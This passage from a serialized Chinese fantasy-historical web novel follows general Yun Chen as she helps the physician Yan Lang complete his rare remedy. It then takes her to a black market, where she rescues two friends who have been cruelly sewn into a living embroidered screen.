炎朗捧住桌上的碗,用小勺舀着豆腐,往嘴里送去,头也不抬地回答:
“寻药。”
这答案不出云琛意料,炎朗一不缺钱,二无公务,唯一的爱好就是研究医理,给他自己治病,到处找一些奇奇怪怪的药引子。
她好奇:“这次又是找什么药引,都跑到楠国来了?”
“灵鹿胎脂。”炎朗还是简短回答。
她想起刚才炎朗和几个护卫被倒吊的样子,说是设陷阱抓鹿来着。她说:
“得亏我来得巧,不然给你们挂上三天三夜,就你这小身板,第一天就得晕过去。”
炎朗白了她一眼,没有接这个扎心的话题,而是问:
“你耳朵怎么回事?”
她满不在乎地回答:“打仗嘛,总要受伤,正常。”
炎朗没有说话,盯着她中心发暗的鼻梁,那是耳朵重创难愈的迹象,应该是耳膜已贯穿,甚至一侧的耳膜、软骨都全裂了。
就算他出手,也不可能将她完全治
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好。
他陷入一阵沉思,眼神黑幽幽的,看起来竟有点吓人。
“十天,可以好六成。”炎朗这么说。
云琛愣了一下,明白是在说给她医治耳朵的事情,高兴得差点蹦起来:
“够了够了!六成足够!”
和过去一样,说她活不过三十岁,她说足够;如今说她耳朵只能好六成,她也觉得够了。
她总是这样,好像特别容易忘记自己受过的委屈,一点点就觉得满足,为什么呢?
炎朗始终无法理解这一点。
很快,一桌子菜下肚,天色黑透。
云琛嘴上说着“早点休息别耽误你长身体”,结果一打开话匣子,就说个没完没了。
“听说,你们东炎也不太平,这几年内战不断,众皇子夺嫡混战,前几个月才消停,新皇终于平定纷争,登基了。”
“嗯,连我在内,二十七位皇子,他杀了二十一个。你拜虎威大将那天,四月二十五,他登基的。”
“好家伙......真够狠......你们新皇叫啥?和你关系还好吧?不会伤害你吧?”
“炎刑。是我胞弟。”
“那就好那就好!”
云琛连连感慨皇族斗争就是惨烈,同胞手足说杀就杀,那个她不认识的什么炎刑,真是够狠够绝,冷酷无情到令人发指。
担心自己说得太过,惹炎朗害怕,她安慰道:
“没事,瞧你还能带着护卫出来寻药,可见新皇对你没什么忌惮,正所谓‘福兮祸所伏,祸兮福所倚’,瞧,离魂症保你一命呢,不然就凭你聪明的小脑瓜和医术,还有这漂亮模样,估计也得遭殃!”
“我真谢谢你,有被安慰到呢!”炎朗阴阳怪气地说,转而心思微动,似笑非笑地看着云琛,道:
“炎刑此人,为达目的不择手段,事不达成绝不罢休。他有个喜欢的女人,眼下大局初定,皇位渐稳,他接下来大约会费尽心思得到那女人。”
云琛瞪大眼睛,同情道:“好可怕,不知道哪家姑娘这么倒霉,被这么个**看上。”
炎朗又笑,语调更添戏谑:“就是说嘛。而且那女人是有意中人的,他们两情相悦已定亲,就差大婚了。”
“啧啧......”云琛替那“素未谋面的姑娘”感到忧愁,“这怎么办,**要去抢婚吗?”
“不知道,阴谋诡计也好,威逼利诱也罢,只要能得到那女人,他必不惜一切代价。”
“好可怜的姑娘,唉!”云琛重重叹气。
第415章 黄粱美梦
蛇胆草,大苦,大寒。入肝胆经。
吃罢晚饭,炎朗说,先为云琛调理内伤,把打仗时透支的身体补一补。
但若要治耳朵,还需寻生长在岩石上的蛇胆草。
虽然无法让她完全恢复听力,变得和从前一样,但至少能好六成。
听闻这个消息,虎威军的将士们全都替自家将军高兴。
荣易、罗东东和伏霖,每天分别带队出去寻蛇胆草,岩石上,石块下,到处都不肯放过。
一些躲藏在边境线迟迟不肯离开的黑鳞骑兵们,零散猫在林子里,悄悄看着虎威军们在地上挨个翻石头的样子,忍不住腹诽:
什么意思?云老虎又开始清剿了?在巴掌大的石头下面找我们?侮辱谁呢?
而云琛则是和炎朗一道,专在林密水清的地方寻找灵鹿。
她要找到那个什么灵鹿胎脂,作为炎朗给她治疗耳朵的回报。
“我说,小孩儿哥,之前是虎初乳,这会又是啥鹿胎脂,你要这些稀奇古怪的玩意儿干啥?”
云琛耳背,嗓门大,说话声震得炎朗脑瓜子嗡嗡的。
他揉揉耳朵,道:“九九出世物,炼己入世人。”
说完这一句,云琛还等着他解释呢,结果人家小嘴一闭,不说了,又恢复了平时冷漠的样子。
云琛琢磨了一会儿,“意思是要找九十九种与‘初生’有关的东西,才能炼化成治疗你病症的药?”
“嗯。”炎朗说,“但也只是药引而已。我在古书上寻得医方,若要治离魂症,药引为次,‘龙烬’为主。”
“龙的灰烬?我的天,世上真有龙吗?”云琛想说,就算有,人家凭啥烧一截给你治病呢?
果然,寻药引子难,寻药更难如登天。
云琛问他:“那九十九种药引子,你已经集齐多少了?”
“九十八种。”炎朗回答。
云琛瞬间来精神了,“那就差最后一味灵鹿胎脂了?!”
炎朗点点头,他知道云琛在替他高兴,可对他来说,就算集齐九十九种药引子又如何?
寻不到“龙烬”为药,一切都是白费力气。
他这么多年苦苦寻药引,一味一味地找,一点一点地求,不过是给自己一点希望和安慰。
但结果不过是和现在一样,仍旧困在这副小小的身体里。
“苦寻蓬莱,黄粱一梦矣!”炎朗长叹一句,负手朝林子深处幽幽而去。
虽然他看起来还是小小一只,但背影落寞失望至极,看得云琛心里难受。
她便跑上前,故意大大咧咧地揽住炎朗肩膀,笑着安慰他:
“有句话怎么说的来着,‘踏破铁鞋无觅处,得来全不费工夫’,咱先搞定这最后一味药引,说不定一会儿就能遇到条想不开**的龙,直接拿上灰烬!咱就大功告成啊!”
炎朗用看傻子的目光看着她,想要挣脱她逾矩的肢体接触,她却突然松开手,如野兔般朝前冲去,姿态轻盈无声,还朝他比了个噤声的手势。
看着自己再次空空如也的肩膀,炎朗心头没由来一阵发空,赶忙摇摇头,苦笑自嘲:
想什么呢。想要云琛?黄粱梦都不会实现的。
否则那么谨慎多疑、嫉妒心强的那人,也不会巴巴地将他送进楠国,设计一场偶遇,只为叫他尽力医治好云琛的耳朵。
这世上男人千千万,能让那人放心的,就只有他这个不能人伦的残废。
“小孩儿哥!!快来!!”云琛不停压低嗓
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子喊,打断了炎朗纷乱的思绪。
揣着心里一团乱麻,炎朗上前,与云琛并肩在草丛里藏好。
只见一头灵鹿正在软草地里分娩,微微昂起布满花斑的头颅,发出轻声的低鸣。
炎朗只是受命前来为云琛医治耳朵,寻药引的事不假,但更多是借口,没曾想竟真能找到灵鹿。
云琛看得全神贯注,手里不断调整着竹筒的方位,就等冲上去取小鹿身上薄如蝉翼的胎脂。
她并未注意到一旁的炎朗神色越来越低沉。
像是一场美梦就要做到尽头似的,取到这胎脂,也就意味着药引集齐,却不可能寻到“龙烬”,炎朗妄想治病的梦就要结束了。
望着小鹿晃晃悠悠挣扎站起的样子,炎朗目光一颤,双眸缓缓泛起薄雾。
他伸手去拉云琛的袖子,想说“算了,下次再取吧”,他还想再多在这可能痊愈的美梦里待一会儿。
却见没心没肺的云琛完全没注意到他的情绪,“唰”地就冲了出去,一把摁住小鹿,开始拿竹刀刮呀刮,吓得灵鹿嘶鸣不已,还以为她要做什么伤害小鹿的事情,疯狂用头去撞她。
云琛只能一边小心翼翼刮小鹿身子,一边死命用手去抵挡灵鹿的攻击,嘴里还十分搞笑地碎碎念着:
“鹿大姐!你生都生了!胎脂也是浪费!不如送我一些,我拿走给人治病!哎哎别咬别咬——你今儿帮我一下,赶明儿我就宣布全军不许吃鹿肉行不?啊啊好痛!”
最后,在灵鹿死死咬住云琛一条胳膊的情况下,她终于收集够半竹筒的胎脂,高兴地朝炎朗挥舞。
“小孩儿哥!我厉害不!”
炎朗不动声色地拭去眼角晦暗,撇撇嘴,算是感谢。
第416章 神女像
既已收集够九十九种药引,云琛便迫不及待地拉着炎朗回泰川城。
此城虎威军驻扎不多,但也有一处作为临时指挥所的小院子,云琛有时会歇在这里。
她卷起袖子,毫不在意地露着胳膊上被灵鹿咬出的一大块青紫,在后院摆好一桌吃食,说要为炎朗寻够药引庆祝一场。
云琛给炎朗倒上八分果子酿,又给自己倒上满满一海碗烈酒,“咣当”与他碰杯,然后端起酒碗一饮而尽。
炎朗瞧了眼她兴高采烈、眉眼弯弯的样子,不解问:
“找到我的药引子而已,又不是给你治耳朵,有那么高兴吗?”
“开玩笑!”云琛睁大眼睛,“你是我朋友啊,你集齐药引,比我自己治耳朵还高兴呢!”
炎朗眼神动容,没有说话。
云琛继续高兴说:“九十九种药引子,费了好几年功夫吧?一百步的路,你已经走完九十九步,就差最后一步了呀!只要找到’龙烬‘,你的病就能好了!
炎朗鼻子里轻哼一声,“哪有那么容易!”
九十九种药引子,他寻了七年多,还要托云琛那年为给霍乾念寻风灼草、暂住在广玉兰洲的福,一下子替他找到了最危险的十几味药引子。
寻药的路固然艰难,可他这一生,四十多年的路,远比寻药难多了。
他不是信神的人,但每每经过庙宇时,也总忍不住停下来问一问神佛。
为何如此折磨他?
这世上之人,多如蝼蚁,为何偏偏挑他受这非人苦难?
还偏要将他托生到皇族,用最昂贵的刀,日复一日地刺向他。
如今,又将云琛推来他面前,叫这么一个爽快鲜活的人儿拨动他的心弦。
他却连脑子都不敢越雷池一步,甚至还心甘情愿做棋子,来医她,蛊惑她。
想到这里,他记起自己来此的使命,便开口:
“我听说,你们仗已经打完,快要大军回京了,是吗?”
“恩,打累了,打够了。”她简短回答,碍于军职,她并不能多说,只高兴道:
“所有人都能回家了,可以正常过日子啦!”
炎朗嘴角露出一抹怪异的弧度,又问:
“看来,战争结束,你和霍乾念便要成婚,过你们的日子了?”
云琛脸蛋红起来,害羞地捧住脸:
“应该吧!”
虽然两人还没正式复合,但照霍乾念为她两度千里奔波的架势,她有种预感:
待大军会师回朝,一切就都会回到令人幸福的起点。
她又喝一碗酒,兀自托腮想着霍乾念,并没有留意到炎朗脸上一闪而过的轻蔑、嘲讽,甚至还带点同情。
她对炎朗道:“到时候我给你寄喜帖,请你来喝喜酒哦!”
说完这句话,她已经羞得耳朵绯红,一双眼睛亮晶晶地望向炎朗,既喜悦,又无比真诚笃定。
炎朗却避开云琛直白真诚的目光,借喝果子酿转移视线,淡淡道:
“那你得尽快治好耳朵,否则连婚仪的喜乐声都听不见,到时候可别牵错了丈夫。”
“哈哈,都听你的,你说怎么治就怎么治。”
“嗯。你手底下的将士既然已经找到蛇胆草,那再只差一样东西,名为‘陈银药罐’,必须是墓里出土且历经三百年以上的药罐,那样煮药才有效。”
“这……”云琛迟疑了,“煮个药,还得去盗墓?太不道德了吧?”
“那倒不必。”炎朗说,“黑市应该有卖的,你好好找找就是。”
云琛点点头,她从前听不言说过,知道黑市是什么地方,正要再问,炎朗却已岔开话题:
“对了,喜帖就别寄给我了。你知道的,我腿短,身板小,走不了那么远的路。”
“哈哈哈——”云琛大笑起来,瞬间将什么“陈银药罐”“黑市”的抛之脑后。
她拍拍炎朗的肩膀:
“别丧气!我有预感,你一定能寻到‘龙烬’治病!话说,‘龙烬’到底是什么,真是龙的灰烬?”
“并不是。古人喻‘大蛇’为‘龙’,‘龙烬’就是蛇骨灰的意思,但不是蛇本身,是要它腹中象。”炎朗说着,自顾拿起一块奶糕啃咬,并不在意地说道:
“陵山有巴蛇,吞象无,三岁而沁其缘骨,剖腹取而燔灼,其骨灰即为‘龙烬’。”
炎朗说完,思绪再次陷入愁苦,满心想的都是上哪里找这种神话传说里才有的东西,自己又该怎么浑浑噩噩度过剩下的人生,却没注意到云琛的眼睛突然变得贼亮贼亮的。
她猛地起身,一把拉起炎朗,匆匆往里屋走。
炎朗被她拖拽的双脚差点离地,不满叫道:
“真是莽夫武将!你又作甚?男女授受不亲,你这样拉扯我进内室何故?”
云琛压根没听见,像是想到了什么绝妙好主意,忽又刹住脚步,一脸压抑不住的兴奋,对炎朗道:
“今夜迎冬节,泰川城信奉神灵,城中有游神灯会!”
炎朗努力挣脱她的手,却奈何这八岁的身体力气实在太小,怎么都抵不过,只能放弃地由她抓着,无奈道:
“游神又怎样?你要带我去看?我没兴趣,我身子是八岁的,但脑子不是,小孩子的玩意我不喜欢。”
云琛并不接这话,水灵灵的眼珠子滴溜溜一转,狡黠笑道:
“这可是神仙一年一度来人间沿门逐疫的日子,据说,每个神像里都有真神降临,专来人间游玩呢!你听我的,去求一求!走!”
云琛不由分说,立马拉着炎朗又掉头往外走。
后者被折腾得哭笑不得,只能随她一路磕磕绊绊,走上主街。
此时天已经黑透,大街上灯火通明。
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高低错落的灯笼交织出绚烂的颜色,腾腾的烟火弥漫整条街道。
不远处,游神的队伍敲锣打鼓地走近,顽皮的孩童在前嘻嘻哈哈,举着糖葫芦,小跑着引路。
十几个少年路童身穿彩衣、面涂油彩,高举神旗开道。
一尊尊华丽高大的神像从后缓缓行来。
街道两边,百姓们纷纷俯身叩拜,口中不停祈福祝祷。
大概是被这气氛感染,炎朗竟突然有些动容,望着神像在烟火中忽明忽暗的脸,有那么一瞬间,他似乎真看见神明短暂地停落其中。
如果是这样的话,他是不是也可以向神祈求……
炎朗心里正想着,猝不及防被人从后推了一把,推进了游神的队伍中。
他踉跄两步才站稳,再抬起头时,云琛已经不见了——
只有巨人般的武尊神像从面前大步流星而过,掀起一阵清洌的风。
四周一下子变得很空旷。
紧接着,低沉的铜角声破空响起。
璀璨灯火下,一尊仙衣宝冠的神女像缓缓显露,只是缭绕烟雾遮着她的面,看不清容颜。
在四周碎碎嗡嗡如念经一般的祈祷浪声里,他好像听见一个空灵洁净的女声从半空传来,似是神女问他:
“汝何所求?”
炎朗浑身一麻,下意识慌乱回答:
“龙烬!我想要龙烬!”
有了龙烬就可以治离魂症!治了离魂症就能做个正常人,不做这世间的怪物!
神女啊神女,菩萨啊菩萨!
求求您怜悯我!成全我的祈求吧!
炎朗绝望地看着神女像,眼中涌起泪水,他也不知自己究竟是带着希望在祈祷,还是试图向神控诉命运的不公。
他感到心口发闷,双膝发软,正要跌倒跪下,却见一道金黄自那神女像后飞出,直直撞进他怀中。
他扑过去抱住,竟是一截发黄的竹筒,打开来,里面是泛着细密光泽、如碎铁屑一般的骨灰。
他愣愣地看着手里的东西,只听神女像又传来一句:
“巴蛇沁玉象骨灰!成全你!”
这声音没有第一句那样空灵,真真切切,还带着笑意。
炎朗抬头望去,却见遮着神女像面容的烟雾已散尽,云琛神采飞扬的笑容取而代之,清晰地出现在眼前。
她看起来有些醉了,站在高大的神女像后面,一手揽着神女像胳膊,长长地探出身子;
另一只手朝炎朗用力挥舞,爽朗大笑,对他说:
“怎么样!我说什么来着!老天爷成全你的!炎朗,你会好起来的!哟呼——”
她放肆大笑,兴奋地朝天呼喊,一簇又一簇焰火在她背后升起,镀得她的脸庞比那神女像还要熠熠生辉。
炎朗浑身一震,泪眼望着云琛,口中情不自禁地呢喃:
“菩萨,我的菩萨……”
第417章 黑市
炎朗想,果然,云琛就是他命中注定的菩萨,否则为何这天下之大,那“龙烬”偏偏在她手里?
他紧紧抱住那截竹筒,用外衣将它裹了好几层,但还是用小手死死捂在盖子上,生怕会洒漏。
他急急摔了个跟头才爬上马车,一面不停对云琛说“谢谢”,一面大喊“起程!快!快!”整个人都好狼狈,却掩饰不住那欣喜若狂。
他要以最快的速度奔回广玉兰洲,将这“龙烬”和九十九种药引混合在一起,制出救他脱离这八岁躯体的药。
云琛得意地叉腰而站,笑看着炎朗,打心眼里替他高兴,自言自语:
“原来巴蛇沁玉象骨灰就是‘龙烬’呀,早点知道就好了”。
那“龙烬”原本好大一麻袋,这些年给霍乾念、不言他们吃过,给荣易和罗东东他们吃过,也给许多重伤的将士疗伤服用过。
这么一路分发,慢慢从一**袋变成一小袋,最后只剩竹筒里那些,扔在泰川城的临时小院里。
霍乾念说,此物来之不易,机缘难求,剩下这一点,今后要用在要紧的地方。
云琛想,现在不就是最要紧的时候吗?
“祝你早日制药成功!”云琛朝疾驰而去的马车挥手。
马车行出去老远又猛地停下,炎朗完全抛下平时老成持重的体面样子,毫不顾忌形象地将身子从车窗里探出来,朝云琛大喊:
“等我!”
云琛只当他指还没给她医治耳朵的事,笑着回应:
“不急!”
望着马车渐渐远去,云琛如释重负地拍拍手,掉头朝营地走去。
……
……
虽然现在炎朗第一要紧是给他自己制药,顾不上她的耳朵。
但准备工作不能少。
云琛打算去黑市上找找陈银药罐。
所谓黑市,顾名思义,天黑时开启、天亮时关闭,是一种见不得光的非法交易市场。
多的是江洋大盗、盗墓贼、走私犯,甚至朝廷逃亡重犯这些“黑户”,在此贩卖些来历不明的“黑货”。
朝廷曾花大力气禁过黑市,但随着这几年战乱不止,**逃窜者增多,黑市又慢慢复苏,边境线上最常见。
这黑市整治事务不在云琛权责之内,属城官管辖。
她既不好插手,直接以收缴赃物的名义去找陈银药罐,更不可能穿着军服大摇大摆地去。
那样的话,估计她前脚刚进黑市,后脚就全散场了。
于是,她花了三两天功夫,叫人打听到距离泰川城五十多里的一个黑市,还弄到两个进去的腰牌。
她熟练地穿起常服,打扮成男子模样,琢磨找个人陪她一起去。
一来,黑市里来来往往的人,都是些见不得光的刀尖舔血的家伙,有些不安全;
二来,她耳朵不行,在黑市那种地方,少不得悄悄交易,总不能像她如今这大嗓门:
“哎你好!这走私来的雪莲怎么卖?”
“劳驾!我想要这个!哪年墓里挖出来的?”
“哥们儿!这司马真迹上带血啊!能擦干净不?”
估计要是这样进去,没一眨眼的功夫,她就能被人围起来揍三顿,万一惹到黑市里盘踞的黑帮势力,就更麻烦了。
她堂堂虎威大将军,铲平个黑市黑帮不在话下。
只是那陈银药罐就别想了。
她考虑:荣易见多识广,最适合带去黑市,帮她掌掌眼,但那家伙太张扬,脾气也不好,犯起浑来,九头牛都拉不住,算了。
罗东东倒是低调,可惜他是憨憨农村娃出身,家境清贫,自然见识缺了些。
那就只有伏霖最合适,混迹**长大的,既沉稳,又见识不凡。
云琛在将这事说给伏霖的时候,后者眼中有一瞬间的犹豫,但还是答应了。
待天色暗下,鬼火般的烛灯亮起,云琛与伏霖驱马来到位于乱葬岗的黑市地界。
两人从一个地窖入口钻进去,将腰牌递给守门人,来到一片豁然开朗的地下城,开始游逛起来。
只见昏暗烛火照射下,从“摊贩”到“顾客”,一个个看起来凶神恶煞,目露凶光,都是些不好惹的。
摊子上随处可见朝廷明令禁止的违禁物,有落魄贵族被抄家时流出来的赃物,有前朝宫廷里的稀罕物,神秘西土国度走私来的草药。
还有五花八门的**,各式各样不同部位的人骨制品,甚至还有卖“蛊术行尸”的。
云琛一路走,一路暗自称奇。
即便她战场上摸爬滚打那么多年,剑下杀敌无数,但走在这种地方,还是颇觉阴森可怕。
她那一身战场杀伐出来的“老虎”气质,进了这地方,竟跟小白兔进了妖魔窟似的,衬托得她不谙世事,像个单纯的冤大头。
好在伏霖一直寸步不离地陪在她身侧,令她安心许多。
“你瞧那是什么?”云琛走着走着,忽被一处兜售骨制品的摊子吸引了。
其中大多为**、象骨、凤凰脊之类的装饰物件。
云琛拿起一只纯白色的吊坠,对伏霖道:
“你瞧,这吊坠上雕刻的是双蛟龙,阿念有块很像的,雕的是三螭龙,我在他私库里见过,不过阿念那只颜色白偏黄,更重些,而且摸起来很粗糙,还有点土腥味,我瞧他不常戴,只收在私库角落里。”
“是吗?”伏霖淡淡回应。
那摊贩“嘿嘿”一笑,道:
“这位小公子眼光极好,此乃西土来的**坠子,料密满纹,对光可见通体奶白,隐有血线,实乃上品。至于您说的家里那只,色黄白,料粗糙,带有腥味,八成是虎齿来着,若要打成一只雕龙吊坠,獠牙不行,需
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得很大的臼齿——”
摊贩话未说完,戛然而止。
因为他看见云琛身旁那看着颇为斯文的男人,在听到“虎齿”二字后,眼神一瞬间阴冷带杀,用毫不掩饰杀意的警告眼神看过来。
那摊贩既能在黑市混,自然是识相的人精。
他虽不知对方为何如此,但还是立刻闭嘴,再不多说一个字。
“去那边看看吧。”伏霖轻轻推搡云琛往前走,“既然要墓里出土的陈银药罐,去盗墓贼那边找找。”
云琛本意只是随便看看,也并未在意摊贩的话。
两人正要继续往前走,不远处,却有一陌生男人狐疑打量伏霖,试探着叫了一声:
“秦正?”
感觉到推着自己后背的伏霖的手,顿时一紧,云琛奇怪看过去,伏霖面无表情,对那陌生男人冷冷道:
“你认错人了。”
说完,伏霖随即手上力道更重,推着云琛离开,那陌生男人却不依不饶,过来一把抓住伏霖手腕,顺便看了眼“小白兔”一样纤弱亮丽的云琛,笑道:
“怎么,如今发达了,不认兄弟了?忘了当初一起在黑市混日子那几年了?”
伏霖神色冰冷,没有说话,倒是云琛惊讶:
“伏霖,你还在黑市待过?看不出啊,你路子挺野!”
这时,方才被伏霖眼神呛住的那摊贩乐了,看热闹不嫌事大,故意话里有话道:
“这位兄弟也混过黑市?听起来还改了姓名?”
摊贩煞有其事对云琛道:“小公子一看就是富贵体面人家出来的,自然不知道我们这黑市的猫腻。有些朝廷**犯逃出来,往往要在黑市待上几年,等容貌改变了,再换个名字出去,便是‘改头换面’。”
云琛边听边点头,敷衍地说着“原来如此”,全然不见伏霖眼神阴森,浑身姿态紧绷,手已握住腰间**,一副随时要暴起的样子。
因为她所有注意力,都落在了前面一个兜售战争残骸的摊子上。
她缓缓走过去,在那副木头架子支撑的威武铠甲前站定。
铠甲残破,伤痕累累,到处都是刀箭伤痕。
胸口的护心镜早已破碎,但仍能认出上面的字——
颜。
云琛愣愣看着颜十九的铠甲,心头像有狂风平地卷起,吹得她酸痛发空。
摊子后面,兜售铠甲的摊贩懒洋洋窝在躺椅里,瞥了云琛一眼,以为她被吓到了,嗤笑道:
“我这里全是从战场上、尸体上淘来的东西,煞气非常。公子喜欢这铠甲?有眼光。听说过北伐军在洛疆全军覆没的事不?这铠甲就是从那来的。
北伐军可不一般,当今圣上做东宫时,亲自挂帅领军去的,兵强马壮,铠甲武器全用最好的,值钱的呢!我看这铠甲与公子你有缘,这样,一两金,不还价。”
第418章 屏风
楠国打了好几年的仗,战争在摧毁民生的同时,也滋养出一批发国难财的黑心贩子。
国制军队的铠甲武器等装备,都制作精良,价格昂贵,便有许多人盯上了战后的残骸。
从为国战死的将士们身上扒下铠甲,从至死紧紧握着佩刀的将士们手中,一根根掰开那手指,拿走战刀。
拿回来的战备残骸,要么倒卖,要么熔铸成新物件卖掉。
朝廷对于这类毫无道德可言的黑心贩子,一旦抓到,通通处以极刑。
奈何人为财死,鸟为食亡,有金钱的巨大诱惑在,还是有许多人铤而走险,在黑市上干起兜售战争残骸的买卖。
云琛定定望着颜十九的铠甲。
她想,上面每一道伤痕,都是他带领北伐军与洛疆拼死作战时留下的。
只是残破铠甲今犹在,它的主人却已不在人世,以最赤诚而惨烈的方式,永远留在了洛疆。
回想颜十九当年穿着这副铠甲的英姿,云琛脑海里又浮现出他最后死去的那一幕。
那么锋利又冰凉的刀刃,从她手中狠狠扎进他胸口的时候,一定疼极了吧……
云琛眼眶微湿,二话不说就掏钱,买下铠甲,余光却又瞟到旁边的摊子。
颜十九的铠甲腰带竟然在那里。她赶紧又过去买。
紧接着又看见颜十九的佩剑、徽章、甚至折扇……零零散散分布在各个摊子上。
云琛一一过去买下,紧紧抱在怀里,眼泪在眼眶里直打转,几乎要模糊掉视线。
对于云琛来说,颜十九既不是她的心上人,也不是她一起出生入死的兄弟,但却是她身边为数不多、没有任何利益纠葛,最纯粹的朋友。
她心里难受,一边往前走,一边嘴里自言自语着“颜十九,如果有来生,能再见,我一定加倍报答你,对你好,再也不揍你了,我保证。”
说话间,眼泪快要掉下来,她抬手擦掉,这才发现自己一路收集买回颜十九的遗物,不知不觉已走到了黑市最深处。
看伏霖没有跟上来,云琛准备掉头去找,旁边一瘦高的蒙面摊贩却笑着拦住她:
“这位公子,瞧你怀里抱这么些战场上血腥又煞气的玩意儿,可见爱好与众不同,我这里有顶好的稀奇东西,要不要进去看看?”
云琛顺着蒙面摊贩邀请的姿势看去,一个破破烂烂的大帐篷伫立在不远处。
别人家都是将货物明白展示在最显眼的地方,这人却用帐篷把货围起来,估计是什么神秘不得了的东西。
“有陈银药罐吗?”云琛问。
蒙面摊贩说没有,她立马转身就走,那帐篷里是啥,她没兴趣。
那蒙面摊贩又拦她一步,笑得颇为诡秘:
“这里面的东西,可比陈银药罐好多了,买回去放家里,又豪阔又漂亮,若来客人,拉出来展示,多显尊贵呀——您看一眼,保准喜欢。看又不收钱。”
蒙面摊贩极力邀请云琛进帐篷,说着竟还动手上来拉扯。
云琛怀里抱着一大堆颜十九的遗物,被那么一拽,怀里的“颜”字徽章骨碌碌滚了出去,竟像有鬼神指引似的,恰好滚进了那破帐篷里。
云琛跟着钻进帐篷,去捡徽章时,恰见一扇巨大的屏风横在她面前——
昏昏烛火照出刺绣的屏风面,织成小池和绿柳的图样。
一位身材瘦削的男子头戴斗笠,身穿黑衣,黑巾覆面,怀抱黑木剑,以**姿态倚靠柳树站立;
另一位则面容俊美而清冷,赤着白皙的上身,只下身搭着一条白巾,手持纯白菩提佛珠,微微阖眼,俨然一副池边打坐的模样。
这双男行柳图栩栩如生,其中人物一黑一白,一杀意,一慈悲。
明暗针法交织细腻,刻画传神,且人物都是按照实际大小比例织绣的。
看起来就跟两个大活人坐在屏风里似的,漂亮极了。
云琛心里啧啧称奇,心说不愧是黑市,什么稀罕玩意儿都有,然后捡起颜十九的徽章,爱惜地放在手心,吹吹上面的灰。
岂料,她刚将东西收进怀里要走,那屏风却像被灰尘呛到,咳嗽了一声。
“咳咳……”
那声音很轻,很小,但切切实实是从屏风上发出来的!
云琛愣住,以为自己幻听了。
她慢慢凑近屏风,对上那池边打坐的男子,脸贴脸地看去。
一边看,一边忍不住心说:
这绣功好生厉害,瞧这模样,又白又帅,睫毛根根分明,跟活人似的,长得好像颜十九呀,太像了……
她生出想要将屏风买回去做纪念的念头,忍不住伸出手指,去触摸那睫毛。
就在她手指将要挨到睫毛的瞬间,那屏风上的男人突然“噌”得一下,睁开了黑亮的眼睛。
“啊——他会动!!!”
云琛吓得一声惨叫,连连后退,一屁股跌坐在地上。
那蒙面摊贩闻声钻进帐篷,二话不说,抄起马鞭就对着屏风上的男人狠狠打去。
屏风里的男人一动不动,可云琛分明听到“啪”、啪”,一下又一下鞭鞭到肉的声音。
其中一鞭抽在了那男人脸上,立刻显出一道红印。
云琛彻底懵了,既震惊,又害怕,手狂抖地指向屏风,磕磕巴巴道:
“这这这这是什什什么东西?”
那蒙面摊贩打够了,收起马鞭,笑道:
“小公子莫怕,这是肉屏风,这两个人是和屏风上的丝线绣在一起的,金银丝线缠绕成股,穿过身上各处大穴,再去织那池塘柳树的图样。你若买回去,只需以西土秘药吊着他俩性命,每日喂几口清水就行,可以用三年。您放
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心,他俩已被我调教得很好,保证一天下来不动不出声,摆在家里就是个真屏风,他们若不听话,尽管抽打便是。”
云琛目瞪口呆,半天才能好好理解这话里的意思。
这屏风上的两个男人不是假的,是**?
是**两个活生生的人?
和屏风绣在一起?逼迫他们从早到晚一直保持这姿势,一动都不许动?
可以用三年?三年后杀了?换新的?还是被**成这样,根本活不过三年??
云琛的大脑被震得一片轰响。
这种丧心病狂惨无人道的主意,是人可以想出来的吗?
紧接着她终于反应过来,这屏风上的男人不是绣出来的,是活人,那么——
她瞳孔颤抖地看向屏风上、那池边打坐男人的脸。
昏暗中,她再次与那双星星一样璀璨,却哀伤、无助的眼睛对视上。
仿佛过了一辈子那么长,云琛终于叫出了那个名字:
“颜……十九?”
屏风上的男人没有出声,目光都没有颤动一下,他旁边那**模样的瘦削男人,却从覆面黑巾之后,传来万宸虚弱的声音:
“云将军……救我们……”
云琛猛然瞪大眼睛,惊得差点灵魂出窍,狠狠打了个激灵才回过神,随即翻身暴起,一脚将那蒙面摊贩踹飞。
那摊贩被踹撞在帐篷支柱上,“轰”一声大响,整个帐篷都被砸得粉碎。
云琛扑过去将屏风拖出来,到了灯火稍微明亮的地方,她才发现,真如那蒙面摊贩所说。
屏风的丝线全部从万宸和颜十九的四肢、躯体,各处穴位穿过去,与整个屏风严丝合缝地绣在了一起。
云琛看得头皮发麻,拔出随身**,竟不知该先从哪里下手。
还是万宸虚弱的声音提醒:
“云将军,先把所有丝线割断,带我们离开这……”
说话间,那被踹倒的蒙面摊贩爬了起来,伏在地上连吐好几大口血,骂了句娘,立刻拾起地上**,朝云琛砍过来。
周围其他摊贩们,少不得有与这蒙面摊贩相识的,也纷纷举起刀剑冲上来。
云琛左挡右闪,快速回击,趁打斗间隙,割断了万宸双手的丝线,将一把小刀抛给他。
很快,万宸与颜十九逃出屏风。
云琛边打斗,边招呼两人快跑,却见万宸光是站着,腿都在抖,显然虚弱至极。
而颜十九更是站都站不起来,四肢软得像面条一样,挂在身上晃悠悠的,完全无法行动。
这一瞬间,与颜十九重逢的惊喜,想要问问他怎么活下来的好奇,通通为他们被**成这般模样的怒火所掩盖。
云琛大吼一声“伏霖!!来!!!”直接抽出方才买回的颜十九“遗物”佩剑,开始对着周遭人群狠狠杀去。
第419章 最扎眼的流星
云琛大吼伏霖的名字,后者来得比预料中还快,跑得跟兔子一样,朝云琛飞奔而来——
身后还有一大群挥舞刀枪棍棒的摊贩们在追,竟然和云琛这边的情形差不多。
“啥情况??”云琛打斗不停,急声问道。
伏霖跑过来,迅速和云琛背靠背,形成对敌姿态,气喘吁吁道:
“刚才那傻缺,认错人,非拉我喝酒,我推搡不过,不小心捅到他了……”
“……”云琛无语,“刚才叫你‘秦正’的那人?你不小心捅到他哪里了?”
“大命脉。”
“……”
“他好像是黑帮的,所以其他人追着我要杀。”
“……”
“云将军,你这边什么情况,这俩人是谁?其他人又是谁?看起来也像惹了黑帮啊?”
“……”
云琛已经无暇骂娘了,“你带万宸,我带颜十九,现在咱们寡不敌众,先跑再说!”
“好!”伏霖重重点头,一把抓起瘦得干木头一样的万宸,系围脖似的将人搭在背上。
云琛则背起颜十九,眼见前后都有喊杀喊打的人群,她直接一脚踢翻最近的一个货物摊子,跨过几列,踩着货物往前跑。
只听“咔嚓”一声,那前朝皇宫流落的黄金琉璃盏被她踢碎了。
“吧唧”一下,那西土走私来的昂贵长生不老果被她踩扁了。
摊贩们珍贵的货物,叮呤咣啷全被她折腾得稀巴烂。
伴着无数摊贩的咒骂,追着要“弄死她”的人越来越多。
